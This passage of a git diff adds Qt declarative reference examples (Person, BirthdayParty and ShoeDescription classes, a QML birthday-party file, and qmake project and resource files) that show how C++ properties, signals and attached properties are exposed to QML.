+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "person.h"
+
+Person::Person(QObject *parent)
+: QObject(parent), m_shoeSize(0)
+{
+}
+
+QString Person::name() const
+{
+ return m_name;
+}
+
+void Person::setName(const QString &n)
+{
+ m_name = n;
+}
+
+int Person::shoeSize() const
+{
+ return m_shoeSize;
+}
+
+void Person::setShoeSize(int s)
+{
+ m_shoeSize = s;
+}
+
diff --git a/examples/declarative/cppextensions/referenceexamples/properties/person.h b/examples/declarative/cppextensions/referenceexamples/properties/person.h
new file mode 100644
index 00000000..cc02cb4e
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/properties/person.h
@@ -0,0 +1,63 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef PERSON_H
+#define PERSON_H
+
+#include <QObject>
+
+class Person : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QString name READ name WRITE setName)
+ Q_PROPERTY(int shoeSize READ shoeSize WRITE setShoeSize)
+public:
+ Person(QObject *parent = 0);
+
+ QString name() const;
+ void setName(const QString &);
+
+ int shoeSize() const;
+ void setShoeSize(int);
+private:
+ QString m_name;
+ int m_shoeSize;
+};
+
+#endif // PERSON_H
diff --git a/examples/declarative/cppextensions/referenceexamples/properties/properties.pro b/examples/declarative/cppextensions/referenceexamples/properties/properties.pro
new file mode 100644
index 00000000..7b7616d1
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/properties/properties.pro
@@ -0,0 +1,18 @@
+TEMPLATE = app
+TARGET = properties
+DEPENDPATH += .
+INCLUDEPATH += .
+QT += declarative
+
+# Input
+SOURCES += main.cpp \
+ person.cpp \
+ birthdayparty.cpp
+HEADERS += person.h \
+ birthdayparty.h
+RESOURCES += properties.qrc
+
+target.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/properties
+sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS properties.pro
+sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/properties
+INSTALLS += target sources
diff --git a/examples/declarative/cppextensions/referenceexamples/properties/properties.qrc b/examples/declarative/cppextensions/referenceexamples/properties/properties.qrc
new file mode 100644
index 00000000..e2fa01d5
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/properties/properties.qrc
@@ -0,0 +1,5 @@
+<!DOCTYPE RCC><RCC version="1.0">
+<qresource>
+ <file>example.qml</file>
+</qresource>
+</RCC>
diff --git a/examples/declarative/cppextensions/referenceexamples/referenceexamples.pro b/examples/declarative/cppextensions/referenceexamples/referenceexamples.pro
new file mode 100644
index 00000000..505cefd3
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/referenceexamples.pro
@@ -0,0 +1,14 @@
+TEMPLATE = subdirs
+
+SUBDIRS += \
+ adding \
+ attached \
+ binding \
+ coercion \
+ default \
+ extended \
+ grouped \
+ properties \
+ signal \
+ valuesource \
+ methods
diff --git a/examples/declarative/cppextensions/referenceexamples/referenceexamples.qmlproject b/examples/declarative/cppextensions/referenceexamples/referenceexamples.qmlproject
new file mode 100644
index 00000000..d4909f86
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/referenceexamples.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "."
+ }
+ JavaScriptFiles {
+ directory: "."
+ }
+ ImageFiles {
+ directory: "."
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/cppextensions/referenceexamples/signal/birthdayparty.cpp b/examples/declarative/cppextensions/referenceexamples/signal/birthdayparty.cpp
new file mode 100644
index 00000000..7021e11b
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/signal/birthdayparty.cpp
@@ -0,0 +1,98 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "birthdayparty.h"
+
+BirthdayPartyAttached::BirthdayPartyAttached(QObject *object)
+: QObject(object)
+{
+}
+
+QDate BirthdayPartyAttached::rsvp() const
+{
+ return m_rsvp;
+}
+
+void BirthdayPartyAttached::setRsvp(const QDate &d)
+{
+ m_rsvp = d;
+}
+
+
+BirthdayParty::BirthdayParty(QObject *parent)
+: QObject(parent), m_host(0)
+{
+}
+
+Person *BirthdayParty::host() const
+{
+ return m_host;
+}
+
+void BirthdayParty::setHost(Person *c)
+{
+ m_host = c;
+}
+
+QDeclarativeListProperty<Person> BirthdayParty::guests()
+{
+ return QDeclarativeListProperty<Person>(this, m_guests);
+}
+
+int BirthdayParty::guestCount() const
+{
+ return m_guests.count();
+}
+
+Person *BirthdayParty::guest(int index) const
+{
+ return m_guests.at(index);
+}
+
+void BirthdayParty::startParty()
+{
+ QTime time = QTime::currentTime();
+ emit partyStarted(time);
+}
+
+BirthdayPartyAttached *BirthdayParty::qmlAttachedProperties(QObject *object)
+{
+ return new BirthdayPartyAttached(object);
+}
+
diff --git a/examples/declarative/cppextensions/referenceexamples/signal/birthdayparty.h b/examples/declarative/cppextensions/referenceexamples/signal/birthdayparty.h
new file mode 100644
index 00000000..9751db22
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/signal/birthdayparty.h
@@ -0,0 +1,92 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef BIRTHDAYPARTY_H
+#define BIRTHDAYPARTY_H
+
+#include <QObject>
+#include <QDate>
+#include <qdeclarative.h>
+#include "person.h"
+
+class BirthdayPartyAttached : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QDate rsvp READ rsvp WRITE setRsvp)
+public:
+ BirthdayPartyAttached(QObject *object);
+
+ QDate rsvp() const;
+ void setRsvp(const QDate &);
+
+private:
+ QDate m_rsvp;
+};
+
+class BirthdayParty : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(Person *host READ host WRITE setHost)
+ Q_PROPERTY(QDeclarativeListProperty<Person> guests READ guests)
+ Q_CLASSINFO("DefaultProperty", "guests")
+public:
+ BirthdayParty(QObject *parent = 0);
+
+ Person *host() const;
+ void setHost(Person *);
+
+ QDeclarativeListProperty<Person> guests();
+ int guestCount() const;
+ Person *guest(int) const;
+
+ static BirthdayPartyAttached *qmlAttachedProperties(QObject *);
+
+ void startParty();
+// ![0]
+signals:
+ void partyStarted(const QTime &time);
+// ![0]
+
+private:
+ Person *m_host;
+ QList<Person *> m_guests;
+};
+QML_DECLARE_TYPEINFO(BirthdayParty, QML_HAS_ATTACHED_PROPERTIES)
+
+#endif // BIRTHDAYPARTY_H
diff --git a/examples/declarative/cppextensions/referenceexamples/signal/example.qml b/examples/declarative/cppextensions/referenceexamples/signal/example.qml
new file mode 100644
index 00000000..fc8b8044
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/signal/example.qml
@@ -0,0 +1,72 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import People 1.0
+
+// ![0]
+BirthdayParty {
+ onPartyStarted: console.log("This party started rockin' at " + time);
+// ![0]
+
+ host: Boy {
+ name: "Bob Jones"
+ shoe { size: 12; color: "white"; brand: "Nike"; price: 90.0 }
+ }
+
+ Boy {
+ name: "Leo Hodges"
+ BirthdayParty.rsvp: "2009-07-06"
+ shoe { size: 10; color: "black"; brand: "Reebok"; price: 59.95 }
+ }
+ Boy {
+ name: "Jack Smith"
+ shoe { size: 8; color: "blue"; brand: "Puma"; price: 19.95 }
+ }
+ Girl {
+ name: "Anne Brown"
+ BirthdayParty.rsvp: "2009-07-01"
+ shoe.size: 7
+ shoe.color: "red"
+ shoe.brand: "Marc Jacobs"
+ shoe.price: 699.99
+ }
+// ![1]
+}
+// ![1]
diff --git a/examples/declarative/cppextensions/referenceexamples/signal/main.cpp b/examples/declarative/cppextensions/referenceexamples/signal/main.cpp
new file mode 100644
index 00000000..685cbaa9
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/signal/main.cpp
@@ -0,0 +1,91 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QCoreApplication>
+#include <QDeclarativeEngine>
+#include <QDeclarativeComponent>
+#include <QDebug>
+#include "birthdayparty.h"
+#include "person.h"
+
+int main(int argc, char ** argv)
+{
+ QCoreApplication app(argc, argv);
+
+ qmlRegisterType<BirthdayPartyAttached>();
+ qmlRegisterType<BirthdayParty>("People", 1,0, "BirthdayParty");
+ qmlRegisterType<ShoeDescription>();
+ qmlRegisterType<Person>();
+ qmlRegisterType<Boy>("People", 1,0, "Boy");
+ qmlRegisterType<Girl>("People", 1,0, "Girl");
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl("qrc:example.qml"));
+ BirthdayParty *party = qobject_cast<BirthdayParty *>(component.create());
+
+ if (party && party->host()) {
+ qWarning() << party->host()->name() << "is having a birthday!";
+
+ if (qobject_cast<Boy *>(party->host()))
+ qWarning() << "He is inviting:";
+ else
+ qWarning() << "She is inviting:";
+
+ for (int ii = 0; ii < party->guestCount(); ++ii) {
+ Person *guest = party->guest(ii);
+
+ QDate rsvpDate;
+ QObject *attached =
+ qmlAttachedPropertiesObject<BirthdayParty>(guest, false);
+ if (attached)
+ rsvpDate = attached->property("rsvp").toDate();
+
+ if (rsvpDate.isNull())
+ qWarning() << " " << guest->name() << "RSVP date: Hasn't RSVP'd";
+ else
+ qWarning() << " " << guest->name() << "RSVP date:" << qPrintable(rsvpDate.toString());
+ }
+
+ party->startParty();
+ } else {
+ qWarning() << component.errors();
+ }
+
+ return 0;
+}
diff --git a/examples/declarative/cppextensions/referenceexamples/signal/person.cpp b/examples/declarative/cppextensions/referenceexamples/signal/person.cpp
new file mode 100644
index 00000000..b9dafbd9
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/signal/person.cpp
@@ -0,0 +1,118 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "person.h"
+
+ShoeDescription::ShoeDescription(QObject *parent)
+: QObject(parent), m_size(0), m_price(0)
+{
+}
+
+int ShoeDescription::size() const
+{
+ return m_size;
+}
+
+void ShoeDescription::setSize(int s)
+{
+ m_size = s;
+}
+
+QColor ShoeDescription::color() const
+{
+ return m_color;
+}
+
+void ShoeDescription::setColor(const QColor &c)
+{
+ m_color = c;
+}
+
+QString ShoeDescription::brand() const
+{
+ return m_brand;
+}
+
+void ShoeDescription::setBrand(const QString &b)
+{
+ m_brand = b;
+}
+
+qreal ShoeDescription::price() const
+{
+ return m_price;
+}
+
+void ShoeDescription::setPrice(qreal p)
+{
+ m_price = p;
+}
+
+Person::Person(QObject *parent)
+: QObject(parent)
+{
+}
+
+QString Person::name() const
+{
+ return m_name;
+}
+
+void Person::setName(const QString &n)
+{
+ m_name = n;
+}
+
+ShoeDescription *Person::shoe()
+{
+ return &m_shoe;
+}
+
+
+Boy::Boy(QObject * parent)
+: Person(parent)
+{
+}
+
+
+Girl::Girl(QObject * parent)
+: Person(parent)
+{
+}
+
diff --git a/examples/declarative/cppextensions/referenceexamples/signal/person.h b/examples/declarative/cppextensions/referenceexamples/signal/person.h
new file mode 100644
index 00000000..de722153
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/signal/person.h
@@ -0,0 +1,105 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef PERSON_H
+#define PERSON_H
+
+#include <QObject>
+#include <QColor>
+
+class ShoeDescription : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int size READ size WRITE setSize)
+ Q_PROPERTY(QColor color READ color WRITE setColor)
+ Q_PROPERTY(QString brand READ brand WRITE setBrand)
+ Q_PROPERTY(qreal price READ price WRITE setPrice)
+public:
+ ShoeDescription(QObject *parent = 0);
+
+ int size() const;
+ void setSize(int);
+
+ QColor color() const;
+ void setColor(const QColor &);
+
+ QString brand() const;
+ void setBrand(const QString &);
+
+ qreal price() const;
+ void setPrice(qreal);
+private:
+ int m_size;
+ QColor m_color;
+ QString m_brand;
+ qreal m_price;
+};
+
+class Person : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QString name READ name WRITE setName)
+ Q_PROPERTY(ShoeDescription *shoe READ shoe)
+public:
+ Person(QObject *parent = 0);
+
+ QString name() const;
+ void setName(const QString &);
+
+ ShoeDescription *shoe();
+private:
+ QString m_name;
+ ShoeDescription m_shoe;
+};
+
+class Boy : public Person
+{
+ Q_OBJECT
+public:
+ Boy(QObject * parent = 0);
+};
+
+class Girl : public Person
+{
+ Q_OBJECT
+public:
+ Girl(QObject * parent = 0);
+};
+
+#endif // PERSON_H
diff --git a/examples/declarative/cppextensions/referenceexamples/signal/signal.pro b/examples/declarative/cppextensions/referenceexamples/signal/signal.pro
new file mode 100644
index 00000000..339cfbc9
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/signal/signal.pro
@@ -0,0 +1,17 @@
+TEMPLATE = app
+TARGET = signal
+DEPENDPATH += .
+INCLUDEPATH += .
+QT += declarative
+
+# Input
+SOURCES += main.cpp \
+ person.cpp \
+ birthdayparty.cpp
+HEADERS += person.h \
+ birthdayparty.h
+RESOURCES += signal.qrc
+target.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/signal
+sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS signal.pro
+sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/signal
+INSTALLS += target sources
diff --git a/examples/declarative/cppextensions/referenceexamples/signal/signal.qrc b/examples/declarative/cppextensions/referenceexamples/signal/signal.qrc
new file mode 100644
index 00000000..e2fa01d5
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/signal/signal.qrc
@@ -0,0 +1,5 @@
+<!DOCTYPE RCC><RCC version="1.0">
+<qresource>
+ <file>example.qml</file>
+</qresource>
+</RCC>
diff --git a/examples/declarative/cppextensions/referenceexamples/valuesource/birthdayparty.cpp b/examples/declarative/cppextensions/referenceexamples/valuesource/birthdayparty.cpp
new file mode 100644
index 00000000..a36f0447
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/valuesource/birthdayparty.cpp
@@ -0,0 +1,108 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
